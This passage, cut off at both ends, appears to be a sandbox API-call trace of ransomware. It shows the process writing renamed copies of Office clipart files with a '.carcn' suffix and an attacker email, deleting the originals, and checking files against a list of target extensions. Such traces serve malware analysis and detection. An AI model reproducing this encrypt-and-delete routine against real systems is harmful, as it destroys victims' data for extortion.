hTemplateFile=0x0) returned 0x554 [0278.319] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.320] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0278.320] GetLastError () returned 0x0 [0278.321] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x566, lpOverlapped=0x0) returned 1 [0278.328] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x570, lpOverlapped=0x0) returned 1 [0278.329] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.329] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.329] SetEndOfFile (hFile=0x54c) returned 1 [0278.330] CloseHandle (hObject=0x54c) returned 1 [0278.330] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.330] SetEndOfFile (hFile=0x554) returned 1 [0278.333] CloseHandle (hObject=0x554) returned 1 [0278.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.336] lstrlenW (lpString=".doc") returned 4 [0278.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.336] lstrlenW (lpString=".docx") returned 5 [0278.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.336] lstrlenW (lpString=".pdf") returned 4 [0278.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.336] lstrlenW (lpString=".xls") returned 4 [0278.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.336] lstrlenW (lpString=".xlsx") returned 5 [0278.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.336] lstrlenW (lpString=".ppt") returned 4 [0278.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.336] lstrlenW (lpString=".zip") returned 4 [0278.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.336] lstrlenW (lpString=".rar") returned 4 [0278.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.337] lstrlenW (lpString=".bz2") returned 4 [0278.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.337] lstrlenW (lpString=".7z") returned 3 [0278.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.337] lstrlenW (lpString=".dbf") returned 4 [0278.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.337] lstrlenW (lpString=".1cd") returned 4 [0278.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0278.337] lstrlenW (lpString=".jpg") returned 4 [0278.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.339] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=13042) returned 1 [0278.339] CloseHandle (hObject=0x554) returned 1 [0278.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0278.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0278.340] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.340] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0278.340] GetLastError () returned 0x0 [0278.340] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0278.351] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3300, lpOverlapped=0x0) returned 1 [0278.748] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.748] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.748] SetEndOfFile (hFile=0x54c) returned 1 [0278.749] CloseHandle (hObject=0x54c) returned 1 [0278.749] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.749] SetEndOfFile (hFile=0x554) returned 1 [0278.752] CloseHandle (hObject=0x554) returned 1 [0278.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0279.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.618] lstrlenW (lpString=".doc") returned 4 [0279.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.618] lstrlenW (lpString=".docx") returned 5 [0279.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.618] lstrlenW (lpString=".pdf") returned 4 [0279.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.618] lstrlenW (lpString=".xls") returned 4 [0279.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.619] lstrlenW (lpString=".xlsx") returned 5 [0279.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.619] lstrlenW (lpString=".ppt") returned 4 [0279.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.619] lstrlenW (lpString=".zip") returned 4 [0279.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.619] lstrlenW (lpString=".rar") returned 4 [0279.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.619] lstrlenW (lpString=".bz2") returned 4 [0279.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.619] lstrlenW (lpString=".7z") returned 3 [0279.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.619] lstrlenW (lpString=".dbf") returned 4 [0279.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.619] lstrlenW (lpString=".1cd") returned 4 [0279.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0279.619] lstrlenW (lpString=".jpg") returned 4 [0279.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.621] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2700) returned 1 [0279.621] CloseHandle (hObject=0x370) returned 1 [0279.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0279.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0279.622] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.622] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0279.623] GetLastError () returned 0x0 [0279.623] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xa8c, lpOverlapped=0x0) returned 1 [0279.658] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xa90, lpOverlapped=0x0) returned 1 [0279.660] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.660] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.660] SetEndOfFile (hFile=0x41c) returned 1 [0279.661] CloseHandle (hObject=0x41c) returned 1 [0279.661] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.661] SetEndOfFile (hFile=0x370) returned 1 [0279.664] CloseHandle (hObject=0x370) returned 1 [0279.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0279.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.666] lstrlenW (lpString=".doc") returned 4 [0279.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.666] lstrlenW (lpString=".docx") returned 5 [0279.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.666] lstrlenW (lpString=".pdf") returned 4 [0279.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.666] lstrlenW (lpString=".xls") returned 4 [0279.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.666] lstrlenW (lpString=".xlsx") returned 5 [0279.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.666] lstrlenW (lpString=".ppt") returned 4 [0279.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.666] lstrlenW (lpString=".zip") returned 4 [0279.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.666] lstrlenW (lpString=".rar") returned 4 [0279.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.667] lstrlenW (lpString=".bz2") returned 4 [0279.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.667] lstrlenW (lpString=".7z") returned 3 [0279.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.667] lstrlenW (lpString=".dbf") returned 4 [0279.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.668] lstrlenW (lpString=".1cd") returned 4 [0279.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0279.668] lstrlenW (lpString=".jpg") returned 4 [0279.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.668] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=6958) returned 1 [0279.668] CloseHandle (hObject=0x370) returned 1 [0279.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0279.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0279.671] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.671] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0279.672] GetLastError () returned 0x0 [0279.672] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0279.683] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0279.689] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.689] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.689] SetEndOfFile (hFile=0x41c) returned 1 [0279.689] CloseHandle (hObject=0x41c) returned 1 [0279.690] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.690] SetEndOfFile (hFile=0x370) returned 1 [0279.693] CloseHandle (hObject=0x370) returned 1 [0279.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0279.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.695] lstrlenW (lpString=".doc") returned 4 [0279.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.695] lstrlenW (lpString=".docx") returned 5 [0279.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.695] lstrlenW (lpString=".pdf") returned 4 [0279.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.695] lstrlenW (lpString=".xls") returned 4 [0279.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.695] lstrlenW (lpString=".xlsx") returned 5 [0279.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.695] lstrlenW (lpString=".ppt") returned 4 [0279.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.695] lstrlenW (lpString=".zip") returned 4 [0279.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.695] lstrlenW (lpString=".rar") returned 4 [0279.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.695] lstrlenW (lpString=".bz2") returned 4 [0279.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.695] lstrlenW (lpString=".7z") returned 3 [0279.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.695] lstrlenW (lpString=".dbf") returned 4 [0279.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.696] lstrlenW (lpString=".1cd") returned 4 [0279.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0279.696] lstrlenW (lpString=".jpg") returned 4 [0279.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.700] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=13936) returned 1 [0279.700] CloseHandle (hObject=0x370) returned 1 [0279.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0279.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0279.701] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.701] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0279.701] GetLastError () returned 0x0 [0279.701] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x3670, lpOverlapped=0x0) returned 1 [0279.720] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3680, lpOverlapped=0x0) returned 1 [0279.721] ReadFile (in: hFile=0x370, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.722] WriteFile (in: hFile=0x41c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.722] SetEndOfFile (hFile=0x41c) returned 1 [0279.722] CloseHandle (hObject=0x41c) returned 1 [0279.722] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.723] SetEndOfFile (hFile=0x370) returned 1 [0279.726] CloseHandle (hObject=0x370) returned 1 [0279.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0279.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.727] lstrlenW (lpString="C:\\Program Files\\Microsoft 